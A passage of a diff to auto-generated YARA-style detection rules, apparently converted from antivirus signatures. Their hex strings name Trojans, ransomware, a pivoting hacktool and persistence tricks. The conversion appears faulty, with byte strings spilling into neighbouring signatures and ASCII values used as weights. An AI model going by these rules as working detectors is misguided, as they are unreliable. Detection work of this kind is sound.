00 0a 81 01 6d 65 6e 67 77 65 2e 73 75 70 01 00 0a 81 01 66 69 73 68 65 72 2e 72 65 67 01 00 0f 81 01 63 6f 6c 75 6d 6e 69 7a 69 6e 67 2e 64 61 6e 01 00 0a 81 01 63 75 6e 6e 65 72 2e 6e 6f 6e 00 00 78 2c 01 00 0c 00 0c 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e } //3328 + $a_73_6 = {61 2e 4f 58 48 58 21 4d 54 42 00 01 00 13 80 01 67 65 74 5f 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 11 80 01 67 65 74 5f 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 08 80 01 73 } //21620 + $a_65_7 = {65 72 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 09 80 01 47 65 74 44 6f 6d 61 69 6e 01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0c 80 01 49 6e 76 6f 6b 65 4d 65 6d 62 65 72 01 00 09 80 01 67 65 74 5f 7a 79 66 7a 6d 01 00 1d 80 01 41 43 2e 49 6e 70 75 74 2e 4d 61 69 6e 57 69 6e 64 6f 77 2e 72 65 73 6f 75 72 63 65 73 } //29300 + $a_80_8 = {41 43 2e 49 6e 70 75 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 } //AC.Input.Properties.Resources.resources 1 + $a_2c_9 = {00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 4a 21 4d 54 42 00 01 00 2b 80 01 23 68 64 66 73 61 66 61 61 61 61 64 61 64 73 61 64 66 66 66 77 74 77 66 66 66 66 66 66 66 67 73 73 73 73 73 64 66 2e 64 6c 6c 23 01 00 0a 80 01 23 67 64 61 61 2e 64 6c 6c 23 01 00 09 80 01 23 64 64 61 2e 64 6c } //0 + condition: + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*30300+(#a_75_2 & 1)*28271+(#a_54_3 & 1)*18467+(#a_73_4 & 1)*27765+(#a_01_5 & 1)*3328+(#a_73_6 & 1)*21620+(#a_65_7 & 1)*29300+(#a_80_8 & 1)*1+(#a_2c_9 & 1)*0) >=10 + +} +rule _InfrastructureShared_18523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -207531,7 +221301,7 @@ rule _InfrastructureShared_17388{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27765+(#a_01_2 & 1)*3328+(#a_73_3 & 1)*21620+(#a_65_4 & 1)*29300+(#a_80_5 & 1)*1+(#a_2c_6 & 1)*0+(#a_00_7 & 1)*9068+(#a_61_8 & 1)*384+(#a_2e_9 & 1)*29542) >=11 } -rule _InfrastructureShared_17389{ +rule _InfrastructureShared_18524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -207552,7 +221322,7 @@ rule _InfrastructureShared_17389{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20225+(#a_72_2 & 1)*25197+(#a_23_3 & 1)*13+(#a_00_4 & 1)*66+(#a_68_5 & 1)*384+(#a_6c_6 & 1)*25646+(#a_61_7 & 1)*25697+(#a_00_8 & 1)*1+(#a_3a_9 & 1)*24938+(#a_04_10 & 1)*-28632+(#a_00_11 & 1)*8205) >=12 } -rule _InfrastructureShared_17390{ +rule _InfrastructureShared_18525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -207573,7 +221343,7 @@ rule _InfrastructureShared_17390{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*384+(#a_00_2 & 1)*9068+(#a_64_3 & 1)*384+(#a_64_4 & 1)*26209+(#a_00_5 & 1)*9068+(#a_66_6 & 1)*384+(#a_65_7 & 1)*29797+(#a_28_8 & 1)*23323+(#a_00_10 & 1)*65+(#a_01_11 & 1)*1+(#a_2c_12 & 1)*0) >=13 } -rule _InfrastructureShared_17391{ +rule _InfrastructureShared_18526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -207587,7 +221357,7 @@ rule _InfrastructureShared_17391{ ((#a_54_0 & 1)*18467+(#a_1b_1 & 1)*400+(#a_07_2 & 1)*6235+(#a_00_4 & 1)*65+(#a_54_5 & 1)*1792) >=14 } -rule _InfrastructureShared_17392{ +rule _InfrastructureShared_18527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 01 00 09 00 21 " @@ -207600,12 +221370,12 @@ rule _InfrastructureShared_17392{ $a_00_5 = {6f 00 75 00 72 00 20 00 43 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 03 00 2e 01 59 00 6f 00 75 00 72 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 20 00 69 00 73 00 20 00 6e 00 6f 00 77 00 20 00 6d 00 69 00 6e 00 65 00 00 00 78 2c 01 00 c8 00 c8 00 02 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 42 61 74 63 68 54 6f 61 73 74 2e 41 } //32 $a_61_6 = {64 00 60 01 49 00 4e 00 53 00 45 00 52 00 54 00 20 00 49 00 4e 00 54 00 4f 00 20 00 74 00 62 00 6c 00 5f 00 70 00 72 00 6f 00 78 00 79 00 20 00 28 00 70 00 5f 00 75 00 72 00 6c 00 2c 00 20 00 70 00 5f 00 6f 00 73 00 2c 00 20 00 70 00 5f 00 69 00 70 00 2c 00 20 00 70 00 5f 00 63 00 6f 00 6d 00 29 00 64 00 94 01 } //25633 $a_00_7 = {53 00 45 00 52 00 54 00 20 00 49 00 4e 00 54 00 4f 00 20 00 74 00 62 00 6c 00 5f 00 6f 00 62 00 6a 00 65 00 63 00 74 00 73 00 20 00 28 00 6f 00 5f 00 63 00 6f 00 6d 00 6e 00 61 00 6d 00 65 00 2c 00 20 00 6f 00 5f 00 69 00 70 00 2c 00 } //73 SERT INTO tbl_objects (o_comname, o_ip, - $a_00_8 = {5f 00 6e 00 6f 00 74 00 65 00 2c 00 20 00 6f 00 5f 00 6b 00 65 00 79 00 2c 00 20 00 6f 00 5f 00 75 00 72 00 6c 00 2c 00 20 00 6f 00 5f 00 63 00 6f 00 6e 00 74 00 69 00 6d 00 65 00 29 00 00 00 78 2d 01 00 01 00 01 00 10 00 21 23 43 4d 4e 3a 48 53 54 52 3a 49 6e 73 74 61 6c 6c 65 72 46 69 6c 65 00 01 00 0a 80 01 49 6e 73 74 61 6c 6c } //32 + $a_00_8 = {5f 00 6e 00 6f 00 74 00 65 00 2c 00 20 00 6f 00 5f 00 6b 00 65 00 79 00 2c 00 20 00 6f 00 5f 00 75 00 72 00 6c 00 2c 00 20 00 6f 00 5f 00 63 00 6f 00 6e 00 74 00 69 00 6d 00 65 00 29 00 00 00 78 2d 01 00 01 00 01 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 61 6c 74 79 50 6f 69 73 6f 6e 2e 41 21 64 68 61 00 } //32 condition: ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*21300+(#a_42_2 & 1)*29556+(#a_54_3 & 1)*17996+(#a_01_4 & 1)*10245+(#a_00_5 & 1)*32+(#a_61_6 & 1)*25633+(#a_00_7 & 1)*73+(#a_00_8 & 1)*32) >=1 } -rule _InfrastructureShared_17393{ +rule _InfrastructureShared_18528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 06 00 21 " @@ -207619,7 +221389,7 @@ rule _InfrastructureShared_17393{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*27022+(#a_00_2 & 1)*298+(#a_00_4 & 1)*119+(#a_6f_5 & 1)*21611) >=25 } -rule _InfrastructureShared_17394{ +rule _InfrastructureShared_18529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -207630,7 +221400,20 @@ rule _InfrastructureShared_17394{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*120) >=200 } -rule _InfrastructureShared_17395{ +rule _InfrastructureShared_18530{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 61 6c 74 79 50 6f 69 73 6f 6e 2e 41 21 64 68 61 00 01 00 11 03 5f 53 69 6c 69 56 90 01 01 63 63 69 6e 65 5c 90 00 01 00 16 03 53 69 6c 69 56 90 01 01 63 63 69 6e 65 53 6b 69 70 55 41 43 } //16675 + $a_00_1 = {30 } //144 0 + $a_00_3 = {20 00 54 00 65 00 63 00 68 00 20 00 43 00 6f 00 72 00 70 00 5c 00 53 00 56 00 61 00 63 00 63 00 69 00 6e 00 65 00 5c 00 01 00 37 03 5c 00 50 00 47 00 49 00 20 00 54 00 65 00 63 00 68 00 20 00 43 00 6f 00 72 00 70 00 5c } //71 + $a_00_5 = {56 00 90 01 02 63 00 63 00 69 00 6e 00 65 00 90 00 01 00 20 01 5c 00 53 00 56 00 61 00 63 00 63 00 69 00 6e 00 65 00 5c 00 44 00 65 00 61 00 6c 00 65 00 72 00 01 00 3a 01 5c 00 43 00 6f 00 6e 00 74 00 65 00 78 00 74 00 4d 00 65 00 6e 00 75 00 48 00 61 00 6e 00 64 00 6c 00 65 00 72 00 73 00 5c 00 53 00 56 00 61 00 } //108 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144+(#a_00_3 & 1)*71+(#a_00_5 & 1)*108) >=1 + +} +rule _InfrastructureShared_18531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -207653,7 +221436,7 @@ rule _InfrastructureShared_17395{ ((#a_4e_0 & 1)*17187+(#a_67_1 & 1)*27694+(#a_2d_2 & 1)*-32760+(#a_6c_3 & 1)*29811+(#a_3a_4 & 1)*19521+(#a_01_5 & 1)*28420+(#a_01_6 & 1)*11284+(#a_00_8 & 1)*115+(#a_00_10 & 1)*114+(#a_01_11 & 1)*1+(#a_2d_12 & 1)*0+(#a_01_13 & 1)*30153+(#a_90_14 & 1)*-16252+(#a_69_15 & 1)*8285) >=1 } -rule _InfrastructureShared_17396{ +rule _InfrastructureShared_18532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -207664,7 +221447,7 @@ rule _InfrastructureShared_17396{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*1547) >=2 } -rule _InfrastructureShared_17397{ +rule _InfrastructureShared_18533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -207676,7 +221459,7 @@ rule _InfrastructureShared_17397{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*79) >=2 } -rule _InfrastructureShared_17398{ +rule _InfrastructureShared_18534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -207688,7 +221471,7 @@ rule _InfrastructureShared_17398{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-16252+(#a_83_2 & 1)*400) >=3 } -rule _InfrastructureShared_17399{ +rule _InfrastructureShared_18535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -207700,7 +221483,7 @@ rule _InfrastructureShared_17399{ ((#a_4c_0 & 1)*21539+(#a_5d_1 & 1)*10798+(#a_00_2 & 1)*1) >=3 } -rule _InfrastructureShared_17400{ +rule _InfrastructureShared_18536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -207713,7 +221496,7 @@ rule _InfrastructureShared_17400{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*12334+(#a_00_3 & 1)*124+(#a_02_4 & 1)*0) >=3 } -rule _InfrastructureShared_17401{ +rule _InfrastructureShared_18537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0d 00 21 " @@ -207733,7 +221516,7 @@ rule _InfrastructureShared_17401{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1260+(#a_e2_2 & 1)*791+(#a_00_4 & 1)*97+(#a_01_5 & 1)*1+(#a_2d_6 & 1)*0+(#a_24_7 & 1)*338+(#a_4e_8 & 1)*18804+(#a_24_9 & 1)*9252+(#a_24_10 & 1)*9282+(#a_6a_11 & 1)*29268) >=3 } -rule _InfrastructureShared_17402{ +rule _InfrastructureShared_18538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -207744,7 +221527,7 @@ rule _InfrastructureShared_17402{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*82) >=4 } -rule _InfrastructureShared_17403{ +rule _InfrastructureShared_18539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -207757,7 +221540,7 @@ rule _InfrastructureShared_17403{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*9252+(#a_67_2 & 1)*18766+(#a_24_3 & 1)*9252) >=4 } -rule _InfrastructureShared_17404{ +rule _InfrastructureShared_18540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -207767,7 +221550,7 @@ rule _InfrastructureShared_17404{ ((#a_54_0 & 1)*18467) >=4 } -rule _InfrastructureShared_17405{ +rule _InfrastructureShared_18541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -207782,7 +221565,7 @@ rule _InfrastructureShared_17405{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*25701+(#a_67_2 & 1)*21356+(#a_4d_3 & 1)*28257+(#a_65_4 & 1)*11891+(#a_66_5 & 1)*28718) >=6 } -rule _InfrastructureShared_17406{ +rule _InfrastructureShared_18542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -207798,7 +221581,7 @@ rule _InfrastructureShared_17406{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29541+(#a_39_2 & 1)*385+(#a_6d_3 & 1)*30831+(#a_2e_4 & 1)*29771+(#a_74_5 & 1)*24930+(#a_65_6 & 1)*23553) >=7 } -rule _InfrastructureShared_17407{ +rule _InfrastructureShared_18543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -207815,7 +221598,7 @@ rule _InfrastructureShared_17407{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_2d_7 & 1)*0) >=8 } -rule _InfrastructureShared_17408{ +rule _InfrastructureShared_18544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -207826,12 +221609,12 @@ rule _InfrastructureShared_17408{ $a_64_3 = {33 2d 39 65 35 33 2d 34 65 34 62 2d 38 33 32 64 2d 38 30 34 38 32 32 35 35 33 38 30 36 00 00 78 2d 01 00 10 00 10 00 10 00 21 23 41 4c 46 3a 59 32 56 3a 46 69 72 65 45 79 65 2f 48 61 63 6b 54 6f 6f 6c 5f 4d 53 49 4c 5f 53 68 61 72 50 69 76 6f 74 5f 33 00 01 00 0b 81 01 5f 43 6f 72 45 78 65 4d 61 69 } //13412 $a_68_5 = {72 50 69 76 6f 74 01 00 09 81 01 50 61 72 73 65 41 72 67 73 01 00 0f 81 01 47 65 6e 52 61 6e 64 6f 6d 53 74 72 69 6e 67 01 00 13 81 01 53 63 68 65 64 75 6c 65 64 54 61 73 6b 45 78 69 73 74 73 01 00 0d 81 01 53 65 72 76 69 63 65 45 78 69 73 74 73 01 } //385 $a_01_6 = {6c 70 50 61 73 73 77 6f 72 64 01 00 07 81 01 65 78 65 63 75 74 65 01 00 05 81 01 57 69 6e 52 4d 01 00 0a 81 01 53 63 68 74 61 73 6b 4d 6f 64 01 00 0d 81 01 50 6f 69 73 6f 6e 48 61 6e 64 6c 65 72 01 00 07 81 01 53 43 53 68 65 6c 6c 01 00 0d 81 01 53 65 72 76 69 63 65 48 69 6a 61 63 6b 01 00 0a 81 01 63 6f 6d 6d 61 6e 64 41 72 67 01 00 0b 81 01 70 61 79 6c 6f 61 64 50 61 74 68 01 00 07 } //2560 - $a_63_7 = {74 61 73 6b 00 00 78 2d 01 00 20 00 1f 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 45 6e 74 53 2e 53 49 42 44 21 4d 54 42 00 0a 00 1c 00 53 00 70 00 61 00 77 00 6e 00 69 00 6e 00 67 00 20 00 73 00 68 00 65 00 6c 00 6c 00 0a } //385 + $a_63_7 = {74 61 73 6b 00 00 78 2d 01 00 1e 00 1e 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6f 64 65 67 75 6e 2e 4b 4b 21 4d 54 42 00 05 00 62 03 45 2b c6 41 8b c0 c1 e8 18 32 c1 88 85 90 01 02 00 00 41 8b c0 c1 e8 10 32 c1 88 85 90 } //385 condition: ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*17966+(#a_50_2 & 1)*16718+(#a_64_3 & 1)*13412+(#a_68_5 & 1)*385+(#a_01_6 & 1)*2560+(#a_63_7 & 1)*385) >=9 } -rule _InfrastructureShared_17409{ +rule _InfrastructureShared_18545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -207840,19 +221623,31 @@ rule _InfrastructureShared_17409{ $a_72_1 = {73 01 00 0f 81 01 47 65 6e 52 61 6e 64 6f 6d 53 74 72 69 6e 67 01 00 13 81 01 53 63 68 65 64 75 6c 65 64 54 61 73 6b 45 78 69 73 74 73 01 00 0d 81 01 53 65 72 76 69 63 65 45 78 69 73 74 73 01 00 } //25971 $a_6c_2 = {50 } //-32502 P $a_77_3 = {72 64 01 00 07 81 01 65 78 65 63 75 74 65 01 00 05 81 01 57 69 6e 52 4d 01 00 0a 81 01 53 63 68 74 61 73 6b 4d 6f 64 01 00 0d 81 01 50 6f 69 73 6f 6e 48 61 6e 64 6c 65 72 01 00 07 81 01 53 43 53 68 65 6c 6c 01 00 0d 81 01 53 65 72 76 69 63 65 48 69 6a 61 63 6b 01 00 0a 81 01 63 6f 6d 6d 61 6e 64 41 72 67 01 00 0b 81 01 70 61 79 6c 6f 61 64 50 } //29537 - $a_01_4 = {00 07 81 01 53 63 68 74 61 73 6b 00 00 78 2d 01 00 20 00 1f 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 45 6e 74 53 2e 53 49 42 44 21 4d 54 42 00 0a 00 1c 00 53 00 70 00 61 00 77 00 6e 00 69 00 6e 00 67 00 20 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 20 00 54 00 72 00 69 00 67 00 67 00 65 } //29793 - $a_00_6 = {75 00 6e 00 63 00 68 00 65 00 64 00 0a 00 3a 00 70 00 68 00 6f 00 6e 00 65 00 69 00 6e 00 66 00 6f 00 2e 00 64 00 6c 00 6c 00 20 00 68 00 61 00 73 00 20 00 62 00 65 00 65 00 6e 00 20 00 6c 00 6f 00 61 00 64 00 65 00 64 00 01 00 28 00 54 00 72 00 69 00 67 00 67 00 65 00 72 00 20 00 62 00 79 } //108 - $a_00_8 = {34 00 64 00 65 00 61 00 74 00 68 00 01 00 51 03 63 6f 70 79 20 52 65 70 6f 72 74 2e 77 65 72 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d } //52 - $a_6f_9 = {6f 66 74 5c 57 69 6e 64 6f 77 73 5c 57 45 52 5c 52 65 70 6f 72 74 51 75 65 75 65 5c 90 02 0a 20 3e 20 6e 75 6c 20 32 3e 26 31 90 00 00 00 78 2d 01 00 29 00 29 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 6c 61 67 65 6e 74 00 0a 00 2e 02 55 50 58 30 00 00 00 00 00 90 01 03 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 } //25449 - $a_50_11 = {31 90 00 0a 00 6f 02 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 01 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 } //-8192 - $a_63_12 = {6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 90 00 0a 00 07 01 } //28001 - $a_72_13 = {4d 43 0a 00 0b 00 4d 43 76 32 44 4c 4c 2e 64 6c 6c 01 00 0c 02 50 45 43 32 90 01 01 4f 00 00 90 00 01 00 35 02 e0 2e 72 64 61 74 61 00 00 00 10 00 00 00 90 01 01 00 00 00 10 00 00 00 90 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 02 00 40 2e 64 61 74 61 90 00 01 00 04 00 66 75 63 } //29779 - $a_00_15 = {01 } //1 + $a_01_4 = {00 07 81 01 53 63 68 74 61 73 6b 00 00 78 2d 01 00 1e 00 1e 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6f 64 65 67 75 6e 2e 4b 4b 21 4d 54 42 00 05 00 62 03 45 2b c6 41 8b c0 c1 e8 18 32 c1 88 85 90 01 02 00 00 41 8b c0 c1 e8 10 32 c1 88 85 90 01 02 00 00 41 8b c0 c1 e8 08 32 c1 88 85 } //29793 + $a_00_5 = {00 33 c0 0f 57 c9 f3 0f 7f 8d 90 01 01 02 00 00 48 89 85 90 } //656 + $a_00_6 = {00 88 } //257 + $a_01_7 = {01 4c 8d 44 24 90 01 01 33 d2 48 8d 8d 90 01 01 02 00 00 90 00 19 00 25 03 52 65 6c 65 61 73 65 5c 57 69 6e 64 6f 77 73 90 02 08 52 61 6e 73 6f 6d 77 61 72 65 90 02 08 2e 70 64 62 90 00 05 00 33 01 41 64 64 65 64 20 74 6f 20 52 65 67 69 73 74 72 79 20 52 75 6e 4f 6e 63 65 20 28 77 69 6c 6c 20 72 75 6e 20 61 74 20 6e 65 78 74 20 6c 6f 67 6f 6e 29 2e 05 00 39 01 46 61 69 6c 65 64 20 74 6f 20 61 64 64 20 74 6f 20 53 74 61 72 74 75 } //9292 + $a_6f_8 = {64 65 72 20 76 69 61 20 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 20 6d 65 74 68 6f 64 2e 00 00 78 2d 01 00 20 00 1f 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 45 6e 74 53 2e 53 49 42 44 } //8304 + $a_42_9 = {0a 00 1c 00 53 00 70 00 61 00 77 00 6e 00 69 00 6e 00 67 00 20 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 20 00 54 00 72 00 69 00 67 00 67 00 65 00 72 00 20 00 6c 00 61 00 75 00 6e 00 63 00 68 00 65 00 64 00 0a 00 3a 00 70 00 68 00 6f 00 6e 00 65 00 69 00 } //19745 + $a_00_10 = {6f 00 2e 00 64 00 6c 00 6c 00 20 00 68 00 61 00 73 00 20 00 62 00 65 00 65 00 6e 00 20 00 6c 00 6f 00 61 00 64 00 65 00 64 00 01 00 28 00 54 00 72 00 69 00 67 00 67 00 65 00 72 00 20 00 62 00 79 00 20 00 40 00 34 00 30 00 34 00 64 00 65 00 61 00 74 00 68 00 01 00 51 03 63 6f 70 79 20 52 65 70 6f 72 74 2e } //110 + $a_20_11 = {3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 57 45 52 5c 52 65 70 6f 72 74 51 75 65 75 65 5c 90 02 0a 20 3e 20 6e 75 6c 20 32 3e 26 31 90 00 00 00 78 2d 01 00 29 00 29 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 53 6c 61 67 65 6e 74 00 0a 00 2e 02 55 50 58 30 00 00 00 00 00 90 01 03 00 } //25975 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25971+(#a_6c_2 & 1)*-32502+(#a_77_3 & 1)*29537+(#a_01_4 & 1)*29793+(#a_00_6 & 1)*108+(#a_00_8 & 1)*52+(#a_6f_9 & 1)*25449+(#a_50_11 & 1)*-8192+(#a_63_12 & 1)*28001+(#a_72_13 & 1)*29779+(#a_00_15 & 1)*1) >=16 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25971+(#a_6c_2 & 1)*-32502+(#a_77_3 & 1)*29537+(#a_01_4 & 1)*29793+(#a_00_5 & 1)*656+(#a_00_6 & 1)*257+(#a_01_7 & 1)*9292+(#a_6f_8 & 1)*8304+(#a_42_9 & 1)*19745+(#a_00_10 & 1)*110+(#a_20_11 & 1)*25975) >=16 } -rule _InfrastructureShared_17410{ +rule _InfrastructureShared_18546{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 6f 64 65 67 75 6e 2e 4b 4b 21 4d 54 42 00 05 00 62 03 45 2b c6 41 8b c0 c1 e8 18 32 c1 88 85 90 01 02 00 00 41 8b c0 c1 e8 10 32 c1 88 85 90 01 02 00 00 41 8b c0 c1 } //21539 + $a_c1_1 = {85 90 02 14 00 00 33 c0 0f 57 c9 f3 0f 7f 8d 90 01 01 02 00 00 48 89 85 90 01 01 02 00 00 88 4c 24 90 01 01 4c 8d 44 24 90 01 01 33 d2 48 8d 8d 90 01 } //2280 + $a_00_3 = {25 03 52 65 6c 65 61 73 65 5c 57 69 6e 64 6f 77 73 90 02 08 52 61 6e 73 6f } //144 + condition: + ((#a_4c_0 & 1)*21539+(#a_c1_1 & 1)*2280+(#a_00_3 & 1)*144) >=30 + +} +rule _InfrastructureShared_18547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,20 00 1f 00 05 00 21 " @@ -207865,7 +221660,7 @@ rule _InfrastructureShared_17410{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*114+(#a_00_2 & 1)*110+(#a_20_3 & 1)*25975) >=31 } -rule _InfrastructureShared_17411{ +rule _InfrastructureShared_18548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 07 00 21 " @@ -207875,7 +221670,7 @@ rule _InfrastructureShared_17411{ ((#a_54_0 & 1)*18467) >=41 } -rule _InfrastructureShared_17412{ +rule _InfrastructureShared_18549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -207894,7 +221689,7 @@ rule _InfrastructureShared_17412{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28528+(#a_c1_2 & 1)*3843+(#a_01_3 & 1)*-28603+(#a_04_4 & 1)*-28579+(#a_0f_5 & 1)*257+(#a_01_6 & 1)*16657+(#a_1b_7 & 1)*-27389+(#a_90_8 & 1)*400+(#a_11_9 & 1)*283) >=1 } -rule _InfrastructureShared_17413{ +rule _InfrastructureShared_18550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -207905,7 +221700,7 @@ rule _InfrastructureShared_17413{ ((#a_46_0 & 1)*16675+(#a_1b_1 & 1)*23947) >=2 } -rule _InfrastructureShared_17414{ +rule _InfrastructureShared_18551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -207916,7 +221711,7 @@ rule _InfrastructureShared_17414{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-29303) >=2 } -rule _InfrastructureShared_17415{ +rule _InfrastructureShared_18552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -207926,7 +221721,7 @@ rule _InfrastructureShared_17415{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_17416{ +rule _InfrastructureShared_18553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -207937,7 +221732,7 @@ rule _InfrastructureShared_17416{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305) >=3 } -rule _InfrastructureShared_17417{ +rule _InfrastructureShared_18554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -207948,7 